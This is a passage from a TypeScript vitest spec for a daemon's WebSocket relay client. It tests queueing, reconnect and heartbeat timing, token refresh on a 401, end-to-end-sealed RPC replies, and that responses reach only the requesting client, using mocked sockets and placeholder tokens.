this.sent.push(data)
cb?.()
}
close(): void {
this.readyState = MockWebSocket.CLOSED
this.emit('close', 1006)
}
/** What `ws` does when `handshakeTimeout` elapses: abort the upgrade, then report the socket gone. */
handshakeTimeout(): void {
this.emit('error', new Error('Opening handshake has timed out'))
this.close()
}
/** What `ws` does when the upgrade is answered with an HTTP status: 'error', then 'close'. */
refused(status: number): void {
this.emit('error', new Error(`Unexpected server response: ${status}`))
this.close()
}
terminate(): void {
this.close()
}
ping(): void {
this.pings++
if (!this.silent) this.emit('pong')
}
/** The backend's own liveness ping (every 25s from `trackSocketLiveness`). */
peerPing(): void {
this.emit('ping')
}
}
return { instances, MockWebSocket }
})
vi.mock('ws', () => ({ WebSocket: wsMock.MockWebSocket }))
// A creation writes a durable receipt and flushes it to disk synchronously (lib/agentCreationReceipt.ts). On a busy
// Linux runner a flush blocked for seconds and a creation case timed out at 5 s (#4363); macOS barely waits. This spec
// checks what the socket says and counts, not durability (agentCreationReceipt.spec.ts does), so a flush returns at once.
vi.mock('node:fs', async (real) => {
const fs = await real<typeof import('node:fs')>()
const fsyncSync = () => {}
return { ...fs, fsyncSync, default: { ...fs, fsyncSync } }
})
// Grid's set-up, which the models service asks for before a move onto a grid model: set up already here,
// as on a machine that has used grid before. Never a real install or sign-in from a spec.
vi.mock('./lib/gridAttach.js', async (real) => ({
...await real<object>(),
createGridAccess: () => ({ ensure: async () => ({ status: 'converged', name: null, detail: 'set up already' }) }),
}))
// Never the person's real ~/.claude.json or ~/.codex/config.toml: creating an agent records folder trust,
// and an unmocked run of these specs used to write test paths into the developer's own config.
const claudeTrust = vi.hoisted(() => ({
claudeTrusts: vi.fn((_path: string) => false), codexTrusts: vi.fn((_path: string, _profile?: string | null) => false),
preTrustClaudeProject: vi.fn((_path: string) => 'trusted' as const), preTrustCodexProject: vi.fn((_path: string, _profile?: string | null) => 'trusted' as const),
}))
vi.mock('./engines/launchPrep.js', async (real) => ({
...await real<object>(),
folderTrust: (engine: string, profile?: string | null) => engine === 'claude'
? { trusts: (path: string) => claudeTrust.claudeTrusts(path), record: (path: string) => claudeTrust.preTrustClaudeProject(path) }
: engine === 'codex' ? { trusts: (path: string) => claudeTrust.codexTrusts(path, profile), record: (path: string) => claudeTrust.preTrustCodexProject(path, profile) } : null,
}))
function parseSent(ws: InstanceType<typeof wsMock.MockWebSocket>): Array<Record<string, unknown>> {
return ws.sent.map((s) => JSON.parse(s) as Record<string, unknown>)
}
/** A relay down-frame as a paired client sends it: sealed. The socket's E2EE session is stubbed to open
* it back to `payload`, so the test exercises the RPC rather than the crypto (core.test.ts does that). */
function sealedDown(socket: BackendSocket, connId: string, type: string, payload: Record<string, unknown>) {
const e2ee = gatewayOf(socket).e2ee
if (!vi.isMockFunction(e2ee.unwrapDown)) {
vi.spyOn(e2ee, 'unwrapDown').mockImplementation((_connId: unknown, f: any) => ({ ...f, payload: f.payload.__e2e.clear }))
}
return { t: 'down', connId, frame: { type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture', clear: payload } } } }
}
/** The models service (services/models.ts) answering the socket's models requests through a service host,
* as the daemon runs it: its core reads the grid name and this machine's name off the socket. */
function serveModels(socket: BackendSocket, over: Parameters<typeof fakeCore>[0] = {}) {
const ports = emptyPorts()
const host = createServiceHost(ports, { log: () => {} })
const core = fakeCore({
dataDir: process.env.ADAPTER_DATA_DIR,
...over,
account: { privateGridName: async () => socket.gridName(), machineName: () => socket.machineName(), ...over.account },
clients: { gridModelsChanged: () => { void socket.pushGridModels() }, ...over.clients },
})
host.start('models', startModels, core, MODELS_FALLBACKS, MODELS_REQUESTS)
socket.serviceRouter = (type, payload, asker, reply) => host.route(type, payload, asker, reply)
socket.models = () => ports.models ?? MODELS_OFF
return host
}
/** The machine monitor (services/monitor.ts) in `host`, reading this machine as the daemon does unless a
* spec says otherwise; its totals through the module, so a spy on it is what answers. */
function serveMonitor(host: ReturnType<typeof createServiceHost>, over: Partial<MonitorDeps> = {}) {
host.start('monitor', (core, ports) => startMonitor(core, ports, {
machine: () => machineResources.readMachineResources(),
resources: createHarnessResourcesReader(() => registry.advertised()),
storage: createHarnessStorageReader(),
...over,
}), fakeCore(), MONITOR_FALLBACKS, MONITOR_REQUESTS)
return host
}
/** The project and folder readers (services/projects.ts) answering `socket`, over the registry as the
* daemon's core API reads it, so a spec's spies on the registry are what they see. */
function serveProjects(socket: BackendSocket) {
return serveOn(socket, (host) => host.serve('projects', startProjects, fakeCore({
agents: { live: () => registry.list(), resolve: (id: string) => registry.resolve(id) },
}), PROJECTS_REQUESTS))
}
/** A socket whose service requests go to the services `serve` starts in a host of their own. */
function serveOn(socket: BackendSocket, serve: (host: ReturnType<typeof createServiceHost>) => void) {
const host = createServiceHost(emptyPorts(), { log: () => {} })
serve(host)
socket.serviceRouter = (type, payload, asker, reply) => host.route(type, payload, asker, reply)
return host
}
/** The session a requester holds whenever its sealed request was opened. Replies of a sealed type go back
* sealed to it; this stub seals them transparently, so a test reads the reply as the client does, opened. */
function withSession(socket: BackendSocket, connId: string): void {
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockImplementation((id) => id === connId)
vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockImplementation((_id, type, requestId, payload) => ({ type, payload: { requestId, ...payload } }))
}
describe('BackendSocket outbound queue', () => {
afterEach(() => {
wsMock.instances.length = 0
vi.restoreAllMocks()
vi.useRealTimers()
})
it('queues web and device frames before open and flushes them in FIFO order', async () => {
const socket = relaySocket('token')
socket.connect()
const ws = wsMock.instances[0]
socket.send({ type: 'turn_summary_pending', dbSessionId: 's1', payload: { sessionId: 's1' } })
socket.sendCommander({ type: 'commander_event', agentId: 's1', dbSessionId: 's1', payload: { kind: 'done', text: 'done' } })
expect(ws.sent).toHaveLength(0)
ws.open()
const sent = parseSent(ws)
expect(sent).toHaveLength(2)
expect((sent[0].frame as { type?: string }).type).toBe('turn_summary_pending')
expect((sent[1].frame as { type?: string }).type).toBe('commander_event')
expect(sent[1]).toMatchObject({ webEligible: false, commanderEligible: true })
await socket.stop()
})
it('keeps a processing card\'s update for the devices tee and off the relay', async () => {
const socket = relaySocket('token')
const tee = vi.fn()
socket.onOutboundCommander = tee
socket.connect()
const ws = wsMock.instances[0]
ws.open()
const relayed = vi.fn()
vi.spyOn(socket as unknown as { toGateway(what: string, call: (g: unknown) => void): void }, 'toGateway')
.mockImplementation((_what, call) => call({ commander: relayed }))
socket.sendCommander({ type: 'commander_event', agentId: 's1', dbSessionId: 's1', payload: { kind: 'processing', text: 'Working', update: 'Reading the spec' } })
expect((tee.mock.calls[0][0] as { payload: Record<string, unknown> }).payload.update).toBe('Reading the spec')
expect((relayed.mock.calls[0][0] as { payload: Record<string, unknown> }).payload).toEqual({ kind: 'processing', text: 'Working' })
await socket.stop()
})
it('gives a shell result card to the devices tee and never to the relay', async () => {
const socket = relaySocket('token')
const tee = vi.fn()
socket.onOutboundCommander = tee
socket.connect()
wsMock.instances[0].open()
const relayed = vi.fn()
vi.spyOn(socket as unknown as { toGateway(what: string, call: (g: unknown) => void): void }, 'toGateway')
.mockImplementation((_what, call) => call({ commander: relayed }))
socket.sendCommander({ type: 'commander_event', agentId: 's1', dbSessionId: 's1', payload: { kind: 'tool_end', id: 't1', outputTail: 'x' } })
expect(tee).toHaveBeenCalledTimes(1)
expect(relayed).not.toHaveBeenCalled()
await socket.stop()
})
it('sends a frame though the orchestrator watching the frames cannot read its state', async () => {
// A full disk: reading the orchestrator's state makes its folder, and that threw out of every send,
// so a turn's end never reached a window (e2e/diskfull.e2e.ts).
const socket = relaySocket('token')
socket.onFrameSent = () => { throw new Error('ENOSPC: no space left on device, mkdir') }
socket.connect()
const ws = wsMock.instances[0]
ws.open()
socket.send({ type: 'turn_ended', dbSessionId: 's1', payload: { sessionId: 's1' } })
expect(parseSent(ws).map((sent) => (sent.frame as { type?: string }).type)).toContain('turn_ended')
await socket.stop()
})
it('signed out, seals and queues nothing for a cloud link that never opens, and still serves its windows', async () => {
const socket = relaySocket('token')
const internal = { e2ee: gatewayOf(socket).e2ee, get queue() { return upstreamOf(socket).queue } }
const frames: Array<{ type?: unknown }> = []
socket.registerLocalClient('local:window', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
try {
// Sent at start-up, before the daemon has looked for a session: queued, as for any daemon.
socket.send({ type: 'turn_started', dbSessionId: 's1', payload: { sessionId: 's1' } })
expect(internal.queue).toHaveLength(1)
const wrapUp = vi.spyOn(internal.e2ee, 'wrapUp')
const wrapCommander = vi.spyOn(internal.e2ee, 'wrapCommander')
socket.serveThisComputerOnly()
expect(internal.queue).toHaveLength(0)
for (let i = 0; i < 100; i++) socket.send({ type: 'text_delta', dbSessionId: 's1', payload: { content: `word ${i}` } })
socket.sendCommander({ type: 'commander_event', agentId: 's1', dbSessionId: 's1', payload: { kind: 'done', text: 'done' } })
socket.sendUser({ type: 'notification', payload: {} })
expect(wrapUp).not.toHaveBeenCalled()
expect(wrapCommander).not.toHaveBeenCalled()
expect(internal.queue).toHaveLength(0)
expect(frames.filter((frame) => frame.type === 'text_delta')).toHaveLength(100)
} finally {
await socket.unregisterLocalClient('local:window')
await socket.stop()
}
})
it('bounds the opening handshake and reconnects when it times out', async () => {
// A connect attempt whose TCP side came up but whose upgrade was never answered used to sit in
// CONNECTING forever: no 'open', so no heartbeat to terminate it, and `this.ws` set, so every
// later connect() returned early. The daemon then showed "cloud reconnecting…" until restarted.
vi.useFakeTimers()
const socket = relaySocket('token')
socket.connect()
const ws1 = wsMock.instances[0]
expect(ws1.options?.handshakeTimeout).toBe(15_000)
expect(ws1.readyState).toBe(wsMock.MockWebSocket.CONNECTING)
// Still connecting: a second connect() must not open a competing socket …
socket.connect()
expect(wsMock.instances).toHaveLength(1)
// … but once the handshake is abandoned, the ordinary backoff schedules a fresh attempt.
ws1.handshakeTimeout()
expect(socket.isConnected()).toBe(false)
// The first redial lands at random between 1 and 2 s.
await vi.advanceTimersByTimeAsync(2_000)
expect(wsMock.instances).toHaveLength(2)
const ws2 = wsMock.instances[1]
expect(ws2.options?.handshakeTimeout).toBe(15_000)
ws2.open()
expect(socket.isConnected()).toBe(true)
await socket.stop()
})
it('gives a silent peer the whole deadline, not one missed pong, before terminating', async () => {
// The old heartbeat killed the link the first time a ping went unanswered (20–40s), which is
// what every macOS DarkWake looked like from inside the daemon: the pre-sleep ping's pong never
// came, so the first tick after wake terminated a link that was about to work again.
vi.useFakeTimers()
const socket = relaySocket('token')
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.silent = true
await vi.advanceTimersByTimeAsync(IDLE_DEADLINE_MS - 1_000)
expect(socket.isConnected()).toBe(true)
expect(ws.pings).toBeGreaterThanOrEqual(2) // it kept asking the whole time
expect(wsMock.instances).toHaveLength(1)
await vi.advanceTimersByTimeAsync(20_000)
expect(socket.isConnected()).toBe(false)
await vi.advanceTimersByTimeAsync(1_000)
expect(wsMock.instances).toHaveLength(2) // and re-entered the ordinary backoff
await socket.stop()
})
it('counts data and the backend\'s own pings as proof of life, not only pongs', async () => {
// A backend busy streaming data can answer a control-frame ping late; the data itself is the
// stronger proof, and the backend pings this socket every 25s on its own.
vi.useFakeTimers()
const socket = relaySocket('token')
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.silent = true
await vi.advanceTimersByTimeAsync(40_000)
ws.message({ t: 'down', connId: 'c1', frame: { type: 'noop' } })
await vi.advanceTimersByTimeAsync(40_000) // 80s in, 40s since the last frame
expect(socket.isConnected()).toBe(true)
ws.peerPing()
await vi.advanceTimersByTimeAsync(40_000)
expect(socket.isConnected()).toBe(true)
await vi.advanceTimersByTimeAsync(IDLE_DEADLINE_MS)
expect(socket.isConnected()).toBe(false)
await socket.stop()
})
describe('a 401 on the upgrade', () => {
// A stub in the shape the socket needs: the first token is what the backend refuses, and the
// refresh answers with whatever the case under test says.
function authStub(refresh: () => Promise<string>): { auth: AuthSessionManager; calls: Array<{ force?: boolean; failedToken?: string }> } {
const calls: Array<{ force?: boolean; failedToken?: string }> = []
let current = 'stale-token'
const auth = {
accessToken: async (opts: { force?: boolean; failedToken?: string } = {}) => {
if (opts.force) { calls.push(opts); current = await refresh() }
return current
},
} as unknown as AuthSessionManager
return { auth, calls }
}
it('refreshes the token, reports the link down meanwhile, and reconnects with the new token', async () => {
vi.useFakeTimers()
const statuses: boolean[] = []
const { auth, calls } = authStub(async () => 'fresh-token')
const socket = relaySocket('0123456789abcdef0123456789abcdef', auth, (connected) => statuses.push(connected))
const revoked = vi.fn()
socket.onRevoked = revoked
socket.connect()
await vi.advanceTimersByTimeAsync(0)
const ws1 = wsMock.instances[0]
expect(ws1.protocols).toEqual(['stale-token'])
ws1.open()
ws1.refused(401)
await vi.advanceTimersByTimeAsync(0)
// The socket is gone the ordinary way: status says so, no session was wiped.
expect(statuses).toEqual([true, false])
expect(calls).toEqual([{ force: true, failedToken: 'stale-token' }])
expect(revoked).not.toHaveBeenCalled()
// The next socket waits out the backoff like any other drop (1–2 s for the first), then dials
// once, with the new token.
expect(wsMock.instances).toHaveLength(1)
await vi.advanceTimersByTimeAsync(2_000)
expect(wsMock.instances).toHaveLength(2)
expect(wsMock.instances[1].protocols).toEqual(['fresh-token'])
await vi.advanceTimersByTimeAsync(60_000)
expect(wsMock.instances).toHaveLength(2) // no second dial racing the first
await socket.stop()
})
it('keeps the session and backs off when the refresh merely fails', async () => {
vi.useFakeTimers()
const { auth } = authStub(async () => { throw new AuthSessionError('service unavailable', 'UNAVAILABLE') })
const socket = relaySocket('0123456789abcdef0123456789abcdef', auth)
const revoked = vi.fn()
socket.onRevoked = revoked
socket.connect()
await vi.advanceTimersByTimeAsync(0)
wsMock.instances[0].open()
wsMock.instances[0].refused(401)
await vi.advanceTimersByTimeAsync(0)
expect(revoked).not.toHaveBeenCalled()
expect(wsMock.instances).toHaveLength(1)
await vi.advanceTimersByTimeAsync(2_000)
expect(wsMock.instances).toHaveLength(2) // the ordinary backoff (1–2 s for the first), session intact
await socket.stop()
})
it('signs out only when the refresh token itself is rejected', async () => {
vi.useFakeTimers()
const { auth } = authStub(async () => { throw new AuthSessionError('refresh token is invalid', 'INVALID_REFRESH') })
const socket = relaySocket('0123456789abcdef0123456789abcdef', auth)
const revoked = vi.fn()
socket.onRevoked = revoked
socket.connect()
await vi.advanceTimersByTimeAsync(0)
wsMock.instances[0].open()
wsMock.instances[0].refused(401)
await vi.advanceTimersByTimeAsync(0)
expect(revoked).toHaveBeenCalledTimes(1)
await vi.advanceTimersByTimeAsync(60_000)
expect(wsMock.instances).toHaveLength(1)
await socket.stop()
})
})
it('keeps a frame queued when ws.send reports an error and retries after reconnect', async () => {
vi.useFakeTimers()
const socket = relaySocket('token')
socket.connect()
const ws1 = wsMock.instances[0]
ws1.open()
ws1.failNextSend = new Error('boom')
// A frame the gateway targets at one relayed connection (its own sends: the handshake, a rekey).
;(gatewayOf(socket) as any).sendTo('conn-1', { type: 'e2e_rekey', payload: { n: 1 } })
expect(ws1.sent).toHaveLength(0)
await vi.advanceTimersByTimeAsync(2_000)
const ws2 = wsMock.instances[1]
ws2.open()
const sent = parseSent(ws2)
expect(sent).toHaveLength(1)
expect(sent[0]).toMatchObject({ t: 'up', targetConnId: 'conn-1' })
await socket.stop()
})
it('routes e2e control frames to the handshake manager instead of the RPC fallback', async () => {
const socket = relaySocket('token')
const handle = vi.spyOn(gatewayOf(socket).e2ee, 'handleFrame').mockReturnValue(true)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
const frame = {
type: 'e2e_status',
payload: { requestId: 'status-1' },
}
ws.message({ t: 'down', connId: 'web-1', frame })
await vi.waitFor(() => expect(handle).toHaveBeenCalledWith('web-1', frame))
expect(parseSent(ws).some((item) =>
(item.frame as { type?: string } | undefined)?.type === 'e2e_status_result',
)).toBe(false)
await socket.stop()
})
it('serves the opaque runtime catalog through the existing models_list RPC', async () => {
const socket = relaySocket('token')
serveModels(socket, { agents: { runtimeModels: async () => [
{ id: 'runtime-v1:s1:codex:gpt-5.6-sol@high', displayName: 'GPT-5.6 Sol / High' },
] } })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({
type: 'models_list', payload: { requestId: 'models-1' },
})
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({
type: 'models_list_result', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } },
})
ws.message({
t: 'down',
connId: 'web-1',
frame: { type: 'models_list', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } },
})
await vi.waitFor(() => {
const result = parseSent(ws).find((item) => (item.frame as { type?: string })?.type === 'models_list_result')
expect(result).toMatchObject({
targetConnId: 'web-1',
frame: { payload: { __e2e: { ct: 'ciphertext' } } },
})
})
expect(wrapReply).toHaveBeenCalledWith('web-1', 'models_list_result', 'models-1', {
models: [{ id: 'runtime-v1:s1:codex:gpt-5.6-sol@high', displayName: 'GPT-5.6 Sol / High' }],
})
await socket.stop()
})
it('hands a request a service declared to the service router with who asked, and seals its answer to the requester', async () => {
const socket = relaySocket('token')
const routed: Array<{ type: string; payload: Record<string, unknown>; asker: unknown }> = []
socket.serviceRouter = (type, payload, asker, reply) => {
routed.push({ type, payload, asker })
if (type !== 'session_search') return false
reply({ hits: [], indexed: 3, pending: 0, ready: true, tookMs: 1 })
return true
}
socket.connect()
const ws = wsMock.instances[0]
ws.open()
const unwrap = vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown')
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const role = vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')
const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockImplementation((_connId, type) => ({
type, payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } },
}))
const envelope = { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } }
const ask = (type: string, payload: Record<string, unknown>) => {
unwrap.mockReturnValueOnce({ type, payload })
ws.message({ t: 'down', connId: 'web-1', frame: { type, payload: envelope } })
}
// The owner's paired app, over the relay: sealed back to it, under its own request id.
ask('session_search', { requestId: 's-1', query: 'dial scroll', limit: 12 })
await vi.waitFor(() => {
expect(wrapReply).toHaveBeenCalledWith('web-1', 'session_search_result', 's-1', { hits: [], indexed: 3, pending: 0, ready: true, tookMs: 1 })
})
expect(routed[0]).toEqual({ type: 'session_search', payload: { requestId: 's-1', query: 'dial scroll', limit: 12 }, asker: { local: false, owner: true, accountOwner: false, connection: 'web-1', requestId: 's-1' } })
// A device's session may not act as the owner, and the service is told so.
role.mockReturnValue('device')
ask('session_search', { requestId: 's-2', query: 'dial' })
await vi.waitFor(() => expect(routed).toHaveLength(2))
expect(routed[1].asker).toEqual({ local: false, owner: false, accountOwner: false, connection: 'web-1', requestId: 's-2' })
// A type no service declared is the socket's own: an unknown one is refused at once, in the clear,
// as a reply that carries nothing is.
role.mockReturnValue('web')
ask('nobody_answers', { requestId: 'n-1' })
await vi.waitFor(() => expect(parseSent(ws)).toContainEqual({ t: 'up', targetConnId: 'web-1', frame: { type: 'nobody_answers_result', payload: { requestId: 'n-1', error: 'UNSUPPORTED' } } }))
expect(routed.at(-1)?.type).toBe('nobody_answers')
// A process on this machine asks as itself, and as the owner.
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:app', { sendFrame: (frame) => { frames.push(frame as Record<string, unknown>); return true }, sendBinary: () => true })
socket.handleLocalFrame('local:app', { type: 'session_search', payload: { requestId: 'l-1', query: 'dial' } })
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({ type: 'session_search_result' })))
expect(routed.at(-1)?.asker).toEqual({ local: true, owner: true, connection: 'local:app', requestId: 'l-1' })
await socket.stop()
})
it('tells the services when a connection that may have asked them closes: a window, a remote client, the relay and its clients', async () => {
const socket = relaySocket('token')
const closed: string[] = []
socket.onConnectionClosed = (connId) => { closed.push(connId) }
socket.registerLocalClient('local:window', { sendFrame: () => true, sendBinary: () => true })
await socket.unregisterLocalClient('local:window')
const client = { role: 'web' as const, label: null, identity: 'id', direct: false }
for (const connId of ['web-1', 'web-2', 'web-3']) socket.fromGateway.client(connId, client)
socket.fromGateway.client('web-1', null)
// One the gateway never announced is no connection of the socket's.
socket.fromGateway.client('web-unknown', null)
await socket.fromGateway.disconnected('web-2')
// The relay gone: every remote client it still had went with it, and no window on this computer did.
socket.registerLocalClient('local:stays', { sendFrame: () => true, sendBinary: () => true })
socket.fromGateway.linkDown()
expect(closed).toEqual(['local:window', 'web-1', 'web-2', 'web-3'])
await socket.stop()
})
it('answers a request whose service is unavailable SERVICE_UNAVAILABLE, retryable, and goes on', async () => {
const socket = relaySocket('token')
// A request whose work reaches a service through its port, whose fallback is to fail (core/serviceHost.ts).
bindTerminalRequests(socket, { applyTheme: () => { throw new ServiceUnavailableError('models', new Error('disk I/O error')) } })
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:app', { sendFrame: (frame) => { frames.push(frame as Record<string, unknown>); return true }, sendBinary: () => true })
socket.handleLocalFrame('local:app', { type: 'theme_set', payload: { requestId: 't-1', foreground: '#ffffff', background: '#000000' } })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'theme_set_result', payload: { requestId: 't-1', error: 'SERVICE_UNAVAILABLE', service: 'models', retryable: true } }))
expect(warn).toHaveBeenCalledWith('[backend] theme_set: the models service is unavailable')
await socket.stop()
})
it('answers terminal_info, which the terminal streams pass over, and leaves every other terminal frame to them', async () => {
const socket = relaySocket('token')
bindTerminalRequests(socket)
// As in the daemon: a stream manager that takes its own frames and passes over the rest.
const handleFrame = vi.fn(async (_connId: string, type: string) => type !== 'terminal_info' && type !== 'terminal_unknown')
socket.setTerminalStreamManager({ handleFrame, closeConnection: vi.fn(async () => {}), stop: vi.fn(async () => {}) } as unknown as TerminalStreamManager)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:hn', { sendFrame: (frame) => { frames.push(frame as Record<string, unknown>); return true }, sendBinary: () => true })
socket.handleLocalFrame('local:hn', { type: 'terminal_info', payload: { requestId: 'i-1', agentId: 'no-such-agent' } })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'terminal_info_result', payload: { requestId: 'i-1', error: 'AGENT_NOT_FOUND' } }))
expect(handleFrame).toHaveBeenCalledWith('local:hn', 'terminal_info', expect.objectContaining({ agentId: 'no-such-agent' }))
// A terminal frame the streams take, or one nobody knows, is not answered here.
socket.handleLocalFrame('local:hn', { type: 'terminal_resize', payload: { requestId: 'r-1', streamId: 's' } })
socket.handleLocalFrame('local:hn', { type: 'terminal_unknown', payload: { requestId: 'u-1' } })
await vi.waitFor(() => expect(handleFrame).toHaveBeenCalledTimes(3))
await new Promise((resolve) => setTimeout(resolve, 50))
expect(frames.filter((frame) => frame.type !== 'terminal_info_result')).toEqual([])
await socket.stop()
})
it('drops a reply for a window that has gone: no other window hears it, and nothing of it is queued for the relay', async () => {
// A window that closes with requests in flight has them carried out, and their replies used to fall
// through to the broadcast: a plaintext one to every other window and, unsealed, to the relay; a
// sealed type to the relay as a targeted error (e2e/windows.e2e.ts). One answer of each kind.
const socket = relaySocket('token')
const answers = new Map<string, (result: Record<string, unknown>) => void>()
socket.serviceRouter = (type, payload, _asker, reply) => {
if (type !== 'terminal_info' && type !== 'session_search') return false
answers.set(String(payload.requestId), reply)
return true
}
// Signed out, as on a computer nobody signed in to: whatever is meant for the relay waits in the queue.
socket.connect()
const ws = wsMock.instances[0]
const stays: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:stays', { sendFrame: (frame) => { stays.push(frame as Record<string, unknown>); return true }, sendBinary: () => true })
socket.registerLocalClient('local:gone', { sendFrame: () => true, sendBinary: () => true })
socket.handleLocalFrame('local:gone', { type: 'terminal_info', payload: { requestId: 'gone-info', agentId: 'a1' } })
socket.handleLocalFrame('local:gone', { type: 'session_search', payload: { requestId: 'gone-search', query: 'dial' } })
socket.handleLocalFrame('local:stays', { type: 'terminal_info', payload: { requestId: 'stays-info', agentId: 'a1' } })
await vi.waitFor(() => expect(answers.size).toBe(3))
await socket.unregisterLocalClient('local:gone')
const log = vi.spyOn(console, 'log').mockImplementation(() => {})
const wasOn = env.LOG_FRAMES
env.LOG_FRAMES = true
try {
answers.get('gone-info')!({ command: 'node', path: '/work/app', pid: 4242, tty: '/dev/ttys001' })
answers.get('gone-search')!({ hits: [], indexed: 0, pending: 0, ready: true, tookMs: 1 })
} finally {
env.LOG_FRAMES = wasOn
}
answers.get('stays-info')!({ command: 'node', path: '/work/app', pid: 4242, tty: '/dev/ttys001' })
// The window that stayed hears its own answer and nothing else.
expect(stays.map((frame) => (frame.payload as { requestId?: unknown } | undefined)?.requestId).filter(Boolean)).toEqual(['stays-info'])
// The gone window's answers are said once, in the diagnostic log, and go nowhere: not into the
// relay's queue, and not up the link once it opens.
expect(log.mock.calls.filter(([line]) => String(line).includes('has gone'))).toHaveLength(1)
expect(JSON.stringify(upstreamOf(socket).queue)).not.toContain('gone-')
ws.open()
expect(JSON.stringify(parseSent(ws))).not.toContain('gone-')
// A request from the relay is still answered on the relay, sealed to the session that asked.
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockImplementation((connId) => connId === 'web-1')
vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockImplementation((_connId, type) => ({ type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } } }))
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValueOnce({ type: 'terminal_info', payload: { requestId: 'relay-info', agentId: 'a1' } })
ws.message({ t: 'down', connId: 'web-1', frame: { type: 'terminal_info', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } } })
await vi.waitFor(() => expect(answers.has('relay-info')).toBe(true))
answers.get('relay-info')!({ error: 'AGENT_NOT_FOUND' })
expect(parseSent(ws)).toContainEqual({ t: 'up', targetConnId: 'web-1', frame: { type: 'terminal_info_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } } } })
await socket.stop()
})
it('answers a request from the relay to the requester alone: no other web client and no window gets a copy', async () => {
// Each app takes a reply by its own request id; a broadcast handed every web client of the machine
// and every window on it an answer only one of them had asked for.
const socket = relaySocket('token')
socket.connect()
const ws = wsMock.instances[0]
ws.open()
const window: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:window', { sendFrame: (frame) => { window.push(frame as Record<string, unknown>); return true }, sendBinary: () => true })
// A paired client's request, sealed, of a type whose answer carries nothing: answered in the clear.
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValueOnce({ type: 'nobody_answers', payload: { requestId: 'r-1' } })
ws.message({ t: 'down', connId: 'web-1', frame: { type: 'nobody_answers', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } } })
const answers = () => parseSent(ws).filter((item) => (item.frame as { type?: string })?.type === 'nobody_answers_result')
await vi.waitFor(() => expect(answers()).toHaveLength(1))
expect(answers()).toEqual([{ t: 'up', targetConnId: 'web-1', frame: { type: 'nobody_answers_result', payload: { requestId: 'r-1', error: 'UNSUPPORTED' } } }])
expect(window.filter((frame) => frame.type === 'nobody_answers_result')).toEqual([])
// The backend's own request has no connection to be answered on: it still hears its answer on the bus.
ws.message({ t: 'down', connId: '', frame: { type: 'voice_route', payload: { requestId: 'b-1', transcript: 'route this' } } })
await vi.waitFor(() => expect(parseSent(ws)).toContainEqual({ t: 'up', frame: { type: 'voice_route_result', payload: { requestId: 'b-1', error: 'E2EE_REQUIRED' } } }))
await socket.stop()
})
it('seals what a pane runs to a requester that holds a session, and to it alone', async () => {
// A pane's folder, pid and tty used to go to every web client in the clear. Every client that holds a
// session opens a sealed payload of any type.
const socket = relaySocket('token')
// `terminal_info` is the core's (core/terminals/requests.ts), bound here as the daemon binds it.
bindTerminalRequests(socket)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockImplementation((connId) => connId === 'web-1')
const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockImplementation((_connId, type) => ({ type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } } }))
const unwrap = vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown')
const ask = (connId: string, type: string, payload: Record<string, unknown>) => {
unwrap.mockReturnValueOnce({ type, payload })
ws.message({ t: 'down', connId, frame: { type, payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } } })
}
const answers = () => parseSent(ws).filter((item) => (item.frame as { type?: unknown })?.type === 'terminal_info_result')
ask('web-1', 'terminal_info', { requestId: 'info-1', agentId: 'no-such-agent' })
await vi.waitFor(() => expect(answers()).toHaveLength(1))
expect(wrap).toHaveBeenCalledWith('web-1', 'terminal_info_result', 'info-1', { error: 'AGENT_NOT_FOUND' })
const sealed = { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } }
expect(answers()).toEqual([
{ t: 'up', targetConnId: 'web-1', frame: { type: 'terminal_info_result', payload: sealed } },
])
// A requester whose session went away meanwhile gets the bare refusal a refused request gets, never
// the answer in the clear.
ask('web-2', 'terminal_info', { requestId: 'info-2', agentId: 'no-such-agent' })
await vi.waitFor(() => expect(answers()).toHaveLength(2))
